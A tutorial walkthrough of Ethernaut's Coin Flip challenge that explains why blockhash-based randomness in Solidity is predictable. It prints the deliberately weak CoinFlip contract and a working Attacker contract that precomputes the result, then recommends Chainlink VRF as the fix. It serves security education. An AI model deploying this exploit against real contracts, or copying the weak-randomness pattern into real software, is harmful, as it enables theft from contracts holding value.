Ethernaut - Lvl 3: Coin Flip
Tags: ethereum, solidity, security, tutorial
Published: 2023-05-30 15:14:45

###### _Requirements: Remix IDE, basic understanding of how randomness works in a public blockchain._

## How Ethereum generates _randomness_? 🤔🤯

Developers create pseudo-randomess by hashing a few built-in global variables in Solidity that are unique or difficult to tamper with. A few examples of these variables are: `block.number`, `blockhash` and `block.difficulty`.

Currently, Ethereum offers the `KECCAK256` hash function. Devs used it to hash the concatenated string of these variables.

After the variables are hashed, they are turned into a large integer and then are mod'ed by a factor _n_. This is done to get a discrete set range of probability integers in the desired range of 0 to n.

> _In `CoinFlip` n=2 to represent the two sides of the coin._ 

![Examples of hashed variables to create pseudo-randomness in Ethereum](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tj2dbwdx1dfiike666ag.png)

**This methodology of deriving pseudo-randomness makes smart contracts vulnerable to attacks because all the necessary inputs required by attackers are public.**

## The Challenge 🏊‍♀️🏊

Accumulate 10 straight wins given the following game:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```
## Studying the contract 👨‍🏫👩‍🏫

`CoinFlip.sol` is a basic guessing game. Players have to call `flip` with their guess. If the guess was right, the player wins and their wins are accumulated and tracked in the `consecutiveWins` state variable.

To create a random number generator (RNG) the game implements `blockhash(block.number - 1)` as a source of randomness.

To prevent an attacker from using a loop to beat the game in one contract call the game implements this safeguard: 

```solidity
// The tx will throw if you try a loop because 
// `block.number` will be the same
if (lastHash == blockValue) {
  revert();
}
```

## Breaking the game 😈

After a deeper inspection we can find the following vulnerabilities:

- `blockhash` and `block.number` are known by us, so we can use them to acurately guess the side of the coin.

- The code is public. We can easily read and replicate the computation of the pseudo-randomness in an `Attacker` contract to anticipate the result.

Go to [Remix IDE](https://remix.ethereum.org/), create a new file titled `Attacker.sol` and fill it with the following content:
```solidity
interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract Attacker {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attackCoinFlip(address _victim) external {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 flip = blockValue / FACTOR;
        bool guess = flip == 1 ? true : false;

        if(guess) {
            // if I was correct submit my guess
            ICoinFlip(_victim).flip(guess);
        }
    }
}
```

The interface `ICoinFlip` contains the target `flip` function we are going to exploit from our attacker contract.

`Attacker.sol` is a basic contract that implements the same randomness computation from `CoinFlip` in order to anticipate the result. To cheat the game we will compute our guess and only call `flip` if our guess is correct in that way `consecutiveWins` will not be reset to zero.

OK! now we are ready to exploit this game. 🧨

Request a new instance of `CoinFlip` to the main contract game, after the transaction is mined copy the address of the newly created instance.

Go Remix and deploy `Attacker`.

After the contract is deployed, call `flip` with the address of `CoinFlip` as a parameter. After the transaction is completed, in your dev tools check `consecutiveWins`, luckily you will have one win, if not, just keep calling the function and checking the variable until you accumulate the goal of `10` wins.

```solidity
(await contract.consecutiveWins()).toString()
```
Uf! it took me 31 calls, I really hope it was quicker for you.

If you followed me, congratulations you just hacked `CoinFlip`!

## Conclusion 🧑‍🎓

Blockchains are public and deterministic networks, **in them there is no such thing as a true source of randomness**. Using validators/miners defined values like the hash of the previous block, means that the random number is not actually random because is already **known** by the entire network. 

Validators and miners can manipulate these values because they are the first ones to see the hash of a block and they may decide to throw out a block in which the targeted `blockhash` won't produced the desired outcome in your game.

Using this source of randomness is not wrong, it boils down to for what the randomness is being used for. If you are planning on building a lottery, the winner needs to determined with a more robust source of randomness, services like [Chainlink VRF](https://chain.link/vrf?&utm_medium=paid-search&utm_source=google&agid=051i73y9sn0e&cnid=44v2tu4ilo0a&utm_term=vrf&utm_campaign=FY23Q2_Always+On+-+Ad+Words_Conversion+-+VRF&utm_source=adwords&utm_medium=ppc&hsa_acc=8091600258&hsa_cam=19912913975&hsa_grp=146911387639&hsa_ad=652920215427&hsa_src=g&hsa_tgt=kwd-32737346&hsa_kw=vrf&hsa_mt=b&hsa_net=adwords&hsa_ver=3&gad=1&gclid=CjwKCAjwvdajBhBEEiwAeMh1U2sahLIUKmP5j-rckw0OBy--YN8kaatdF9iJfnxrqzgSU_uzLcUbphoCQBEQAvD_BwE) should be considered for this type of dApps.

Attacking `CoinFlip` took me 31 calls and aprox. 1,480,734 units of gas. If the attack would been carried out on mainnet it would have cost me aprox. 149.86 USD. No one would've spent this amount of money to exploit a game with no actual prize, but if after accumulating the 10 wins there had been a monetary prize, hackers would have had a motivation in breaking your game, so depending of your application carefully choose a correct source of randomness.

## Further reading 📘📙
- [SWC-120](https://swcregistry.io/docs/SWC-120)